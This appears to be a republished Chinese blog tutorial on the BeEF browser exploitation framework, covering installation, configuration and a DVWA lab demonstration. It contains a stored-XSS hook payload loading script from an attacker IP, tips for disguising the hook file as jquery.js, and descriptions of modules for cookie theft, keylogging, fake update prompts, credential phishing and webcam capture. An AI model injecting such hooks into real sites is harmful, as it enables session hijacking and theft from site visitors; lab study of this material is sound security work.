XSS自动化工具——Beef
Beef的使用
- 一、Beef簡介
- 二、beef的下載安裝
- 三、Beef配置
- 四、Beef的使用
- 五、Beef的主要功能
在我的記憶之中之前是有些過關(guān)于beef這款工具的使用的文章的,然而最近整理博客,一看,發(fā)現(xiàn)怎么沒有了,可能是我忘了吧,或者可能也可能是在夢里寫了。。。今天來寫一下吧
一、Beef簡介
Browser Exploitation Framework (BeEF)
BeEF 是目前最強(qiáng)大的瀏覽器開源滲透測試框架,通過xss漏洞配合JS腳本和Metasploit進(jìn)行滲透,
BeEF 是基于Ruby語言編寫的,并且支持圖形化操作,操作簡單。
beef官方網(wǎng)站:http://beefproject.com/
工程框架:
在這里插入圖片描述zombie(僵尸)即受害的瀏覽器。zombie是被hook(勾連)的,如果瀏覽器訪問了有勾子(由js編 寫)的頁面,就會被hook,勾連的瀏覽器會執(zhí)行初始代碼返回一些信息,接著zombie會每隔一段時間 (默認(rèn)為1秒)就會向BeEF服務(wù)器發(fā)送一個請求,詢問是否有新的代碼需要執(zhí)行。BeEF服務(wù)器本質(zhì)上就 像一個Web應(yīng)用,被分為前端UI,和后端。前端會輪詢后端是否有新的數(shù)據(jù)需要更新,同時前端也可以向后端發(fā)送指示, BeEF持有者可以通過瀏覽器來登錄BeEF 的后臺管理UI。
二、beef的下載安裝
kali自帶beef
如果沒有的話通過以下方式進(jìn)行下載安裝
apt-get update
apt-get install beef-xss
安裝完之后開始 beef
cd /usr/share/beef-xss/ # 切換到beef所在目錄
./beef # 啟動 beef
啟動 beef 出現(xiàn)
[!] ERROR: Don’t use default username and password!
|_ Change the beef.credentials.passwd in /etc/beef-xss/config.yaml
然后根據(jù)提示去修改配置。
vim /etc/beef-xss/config.yaml
可以進(jìn)行更改賬號密碼
修改完之后,Beef安裝即為成功
接下來啟動beef
在命令行輸入命令:beef-xss
即可啟動beef,自動彈出beef瀏覽器窗口,輸入賬號密碼即可進(jìn)入
三、Beef配置
kali下的BeeF配置文件在 /usr/share/beef-xss/con?g.yaml,其它的配置文件也在這個目錄的子目錄下,往后在使用某些功能時,需要修改對應(yīng)的配置文件。自主安裝的BeeF配置文件會在BeeF的主目錄 下con?g.yaml,建議修改幾個地方:
permitted_hooking_subnet: “0.0.0.0/0” #指定某個網(wǎng)段,只有在這個網(wǎng)段的瀏覽器才能被hook
permitted_ui_subnet: “0.0.0.0/0” #指定某個網(wǎng)段,只有在這個網(wǎng)段的瀏覽器才能訪問管理UI
#上面這兩項(xiàng)都是可以被繞過的,只要使用X-Forwarded-For首部繞過,一般不需要設(shè)置
host: “0.0.0.0” #設(shè)置beef服務(wù)器的主機(jī), 如果有自己的域名, 那么可以設(shè)置自己的域名, 沒有就使用默認(rèn)
port: “3000” #設(shè)置beef服務(wù)器監(jiān)聽的端口, 可以自己定一個,比如8080, 記得端口號需要大于1024
xhr_poll_timeout: 1000 #受害瀏覽器輪詢beef主機(jī)的時間, 默認(rèn)為1秒,可以設(shè)置為更低。
public: “” #public hostname/IP address
public_port: “” #experimental
# 這是讓BeEF運(yùn)行在一個反向代理或者NAT環(huán)境下才需要設(shè)置的。
web_ui_basepath: “/ui” #管理頁面的URI, 默認(rèn)是/ui, 建議修改,這樣就不會讓別人找到你的管理頁面
hook_file: “/hook.js” #hook_file 的名稱, 建議修改, 可以修改為jquery.js之類的來提升隱蔽性
credentials: user: “beef” passwd: “beef” #管理頁面登錄的用戶名和密碼, 這個一定要改,兩個都改是最好的
四、Beef的使用
首先看登錄成功的頁面,左邊有兩個文件夾樣式的東東,很好理解,就是字面意思,在線瀏覽器和不在線瀏覽器
利用
鉤子命令:<script src="http://<IP>:3000/hook.js"></script>
這里用DVWA里的XSS漏洞靶場來做利用beef攻擊的演示
這里的XSS存儲型靶場它還有字符串長度的限制,我們先按F12進(jìn)入源代碼來修改一下長度限制
然后就可以在留言輸入框中插入惡意的script代碼了。把我們上面的beef鉤子代碼粘貼進(jìn)去,其中ip為kali攻擊機(jī)ip
在修改瀏覽器前端限制輸入長度后,插入 <script src="http://192.168.2.131:3000/hook.js"></script>
成功插入,然后我再用我kali去訪問一下,
可以發(fā)現(xiàn)在線瀏覽器多了兩個,一個是win10我剛剛插入時上去的,另一個是我的kali瀏覽了中招的。
我們可以點(diǎn)擊進(jìn)行相關(guān)操作。
點(diǎn)擊當(dāng)前在線的主機(jī),然后右邊會有選擇框(彈框如上),我們點(diǎn)擊 Current Browser ,然后下面就有一些功能項(xiàng):Details、Logs、Commands、XssRays、Network、WebRTC
- Details是瀏覽器信息詳情
- Logs能記錄你在瀏覽器上的操作,點(diǎn)擊,輸入操作都能記錄
- Commands是你能對該瀏覽器進(jìn)行哪些操作
Logs
記錄了被攻擊者在植入腳本的頁面進(jìn)行的操作,如:鼠標(biāo)點(diǎn)擊、輸入內(nèi)容。
Commands
點(diǎn)擊Command,這里有一些我們可以使用的功能分類,一共有12個大的功能,括號里面的數(shù)字是每個功能分類里面的個數(shù)。
Broser:主要是針對瀏覽器的一些信息收集或攻擊,其下的子選項(xiàng)卡Hooked Domain主要是獲取HTTP屬性值,比如cookie、表單值等,還可以做 寫簡單的瀏覽器操作,比如替換href值,彈出警告框,重定向?yàn)g覽器等。這個選項(xiàng)卡下的有些模塊會根據(jù)受害者的瀏覽器來決定是否顯示。主要是瀏覽器通用操作和其他基本信息檢測。
Chrome extensions:主要是針對谷歌瀏覽器擴(kuò)展插件
Debug:調(diào)試功能
Exploits:漏洞利用,主要利用一些已公開的漏洞進(jìn)行攻擊測試
Host:針對主機(jī),比如檢測主機(jī)的瀏覽器、系統(tǒng)信息、IP地址、安裝軟件等等
IPEC:協(xié)議間通信。主要是用來連接、控制受害者瀏覽器的
Metasploit:Beef可通過配置和metasploit平臺聯(lián)合,一旦有受害者出現(xiàn),可通過信息收集確定是否存在漏洞,進(jìn)一步方便metasploit攻擊測試
Misc:雜項(xiàng)。
Network:網(wǎng)絡(luò)掃描
Persistence:維護(hù)受害者訪問
Phonegap:手機(jī)測試
Social engineering:社會工程學(xué)攻擊
綠色模塊:可以執(zhí)行且目標(biāo)不可見
紅色模塊:不適合當(dāng)前目標(biāo)
橙色模塊:可以執(zhí)行但目標(biāo)可見
灰色模塊:未在目標(biāo)瀏覽器上測試過
點(diǎn)擊對應(yīng)的功能后,點(diǎn)擊右下角按鈕執(zhí)行,執(zhí)行之后可以查看執(zhí)行結(jié)果。
- Get Cookie 該模塊將從當(dāng)前頁面檢索會話cookie。
- Get From Vakues 該模塊檢索頁面上所有輸入字段的名稱,類型和值。
- Get Page HREFs 該模塊將從目標(biāo)頁面檢索所有超鏈接。
- Get Page HTML 該模塊將從當(dāng)前頁面檢索HTML。
- Get Page and iframe HTML 該模塊將從當(dāng)前頁面和任何iframe(具有相同來源)中檢索HTML。
- Remove stuck iframe 該模塊將刪除所有卡住的iframe(請注意,它將刪除該節(jié)點(diǎn)上的所有iframe!)。
- Replace HREFs 該模塊將重寫所有匹配鏈接的所有href屬性。
- Replace HREFs(click Events) 該模塊將使用Bilawal Hameed對click事件處理的更新來重寫所有匹配鏈接的所有href屬性。這將隱藏所有更新鏈接的目標(biāo)站點(diǎn)。(意識是鼠標(biāo)點(diǎn)向超鏈接,超鏈接任然會下會顯示原來的鏈接,但是點(diǎn)擊之后跳轉(zhuǎn)到指定的網(wǎng)站)
- Replace HREFs (HTTPS) 該模塊將重寫HTTPS鏈接的所有href屬性,以使用HTTP代替HTTPS。相對于Web根的鏈接不會被重寫。
- Replace HREFs (TEL) 此模塊將重寫電話鏈接的所有href屬性(即tel:5558585)以撥打您選擇的號碼。
- Fingerprint Ajax 鉤住的頁面上有指紋Ajax和JS庫。
- Overflow Cookie Jar 該模塊嘗試執(zhí)行John Wilander的CookieJar溢出。他在Owasp 1-liner項(xiàng)目中證明了這一點(diǎn)。使用此模塊,可以擦除具有HTTPOnly標(biāo)志和/或HTTPS標(biāo)志的cookie。之后,您可以嘗試重新創(chuàng)建這些cookie作為普通cookie。
- Create Alert Dialog 將警報對話框發(fā)送到掛鉤的瀏覽器。
- Create Prompt Dialog 將結(jié)束對話框的提示對話框。(這個可以填入,您的密碼已過期,請重新輸入。然后beef這邊會接收輸入的數(shù)據(jù))
- Redirect Browser 該模塊會將選定的已掛鉤的瀏覽器重定向到“重定向URL”輸入中指定的地址。(直接重定向跳轉(zhuǎn))
- Redirect Browser (Rickroll) 用全屏Rickroll覆蓋受害者所在頁面的正文。(受害者頁面全屏變白了)
- Redirect Browser (iFrame) 他的模塊創(chuàng)建了100%x 100%的重疊iframe,并使瀏覽器始終掛在框架上。iframe的內(nèi)容,頁面標(biāo)題,頁面快捷方式圖標(biāo)和時間延遲在以下參數(shù)中指定。URL欄的內(nèi)容在掛鉤的瀏覽器中不會更改。(此時雖然頁面變了,但只是iframe的作用,所以主機(jī)不會掉線,但是如果其他直接重定向跳轉(zhuǎn)到其他鏈接,主機(jī)就會掉線)
- Replace Component (Deface) 覆蓋掛鉤頁面的特定組件。
- Replace Content (Deface) 覆蓋頁面上的頁面,標(biāo)題和快捷方式圖標(biāo)。
- Replace Videos 使用包含您選擇的youtube視頻的嵌入標(biāo)簽(默認(rèn)為rickroll)替換用jQuery選擇的對象(默認(rèn)情況下為所有嵌入標(biāo)簽)。
這里挑幾個有趣的詳細(xì)說一下
- Play Sound 在掛鉤的瀏覽器上播放聲音。
- Webcam 該模塊將向用戶顯示Adobe Flash“允許網(wǎng)絡(luò)攝像頭”對話框。用戶必須單擊允許按鈕,否則該模塊將不返回圖片。可以定制說服用戶的標(biāo)題/文本。您可以自定義要拍攝的照片數(shù)量和間隔時間(默認(rèn)情況下將拍攝20張照片,每秒1張照片)。圖片以base64編碼的JPG字符串發(fā)送。
- Webcam Pemission Check 該模塊將檢查用戶是否已允許BeEF域(或所有域)使用Flash訪問攝像頭和麥克風(fēng)。該模塊是透明的,用戶不應(yīng)檢測到該模塊(即不會出現(xiàn)請求權(quán)限的彈出窗口)
Social Engineering 欄目也有好多有趣的功能。
- Fake Flash Update 提示用戶將更新安裝到Adobe Flash Player。交付的有效負(fù)載可以是自定義文件,瀏覽器擴(kuò)展或任何特定的URI。提供的BeEF Firefox擴(kuò)展禁用PortBanning(端口20、21、22、25、110、143),啟用Java,覆蓋UserAgent和默認(rèn)的home / new_tab頁面。請參閱/ extensions / ipec / files / LinkTargetFinder目錄,以獲取Firefox擴(kuò)展源代碼。Chrome擴(kuò)展程序交付可在<= 20的Chrome上運(yùn)行。從Chrome 21開始,在擴(kuò)展程序的加載方式方面發(fā)生了一些變化。請參閱/extensions/demos/flash_update_chrome_extension/manifest.json了解更多信息以及適用于最新版Chrome的示例擴(kuò)展。
- Fake Notification Bar (Firefox) 在屏幕頂部顯示一個假通知欄,類似于Firefox中顯示的通知欄。如果用戶單擊通知,將提示他們下載惡意的Firefox擴(kuò)展(默認(rèn)情況下)。
- Pretty Theft 使用浮動div詢問用戶其用戶名和密碼。
Persistence
- Create Pop Under 該模塊在帶有BeEF掛鉤的窗口下創(chuàng)建一個新的謹(jǐn)慎彈出窗口。另一個瀏覽器節(jié)點(diǎn)將被添加到掛鉤的瀏覽器樹中。現(xiàn)代瀏覽器默認(rèn)情況下會阻止彈出窗口,并警告用戶該彈出窗口已被阻止(除非允許起源來生成彈出窗口)。但是,對于某些用戶啟動的事件(例如單擊頁面),將繞過此檢查。使用下面的“ clickjack”選項(xiàng)添加一個事件處理程序,當(dāng)用戶單擊頁面上的任意位置時,該事件處理程序?qū)⑸蓮棾龃翱凇6啻芜\(yùn)行模塊將為一次單擊事件產(chǎn)生多個彈出窗口。注意:移動設(shè)備可能會在頂部打開新的彈出窗口或重定向當(dāng)前窗口,而不是在后臺打開。
- Create Pop Under 該模塊在帶有BeEF掛鉤的窗口下創(chuàng)建一個新的謹(jǐn)慎彈出窗口。另一個瀏覽器節(jié)點(diǎn)將被添加到掛鉤的瀏覽器樹中。現(xiàn)代瀏覽器默認(rèn)情況下會阻止彈出窗口,并警告用戶該彈出窗口已被阻止(除非允許起源來生成彈出窗口)。但是,對于某些用戶啟動的事件(例如單擊頁面),將繞過此檢查。使用下面的“ clickjack”選項(xiàng)添加一個事件處理程序,當(dāng)用戶單擊頁面上的任意位置時,該事件處理程序?qū)⑸蓮棾龃翱凇6啻芜\(yùn)行模塊將為一次單擊事件產(chǎn)生多個彈出窗口。注意:移動設(shè)備可能會在頂部打開新的彈出窗口或重定向當(dāng)前窗口,而不是在后臺打開。
圖中可見,中招的主機(jī)級別提高了,此時就算關(guān)了瀏覽器中的窗口,也不會下線,因?yàn)榇诉x項(xiàng)執(zhí)行后,會在電腦右下角生成一個小化的窗口訪問192.168.1.245:3000/demos/plain.html,從而控制受害者。
這個工具上我們主要可以看到存儲型XSS的危害。
五、Beef的主要功能
1、信息收集
- 網(wǎng)絡(luò)發(fā)現(xiàn)
- 主機(jī)信息
- cookie獲取
- 會話劫持
- 鍵盤記錄
- 插件信息
2、持久化控制
- 確認(rèn)彈框
- 小窗口
- 中間人
3、社會工程
- 點(diǎn)擊劫持
- 彈窗告警
- 虛假頁面
- 釣魚頁面
4、滲透攻擊
- 內(nèi)網(wǎng)滲透
- 結(jié)合Metasploit利用
- CSRF攻擊
- DDOS攻擊
總結(jié)
以上是生活随笔為你收集整理的XSS自动化工具——Beef的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: (微信编辑器)UEditor富文本嵌入1
- 下一篇: 北大信科计算机考研专业真题,GitHub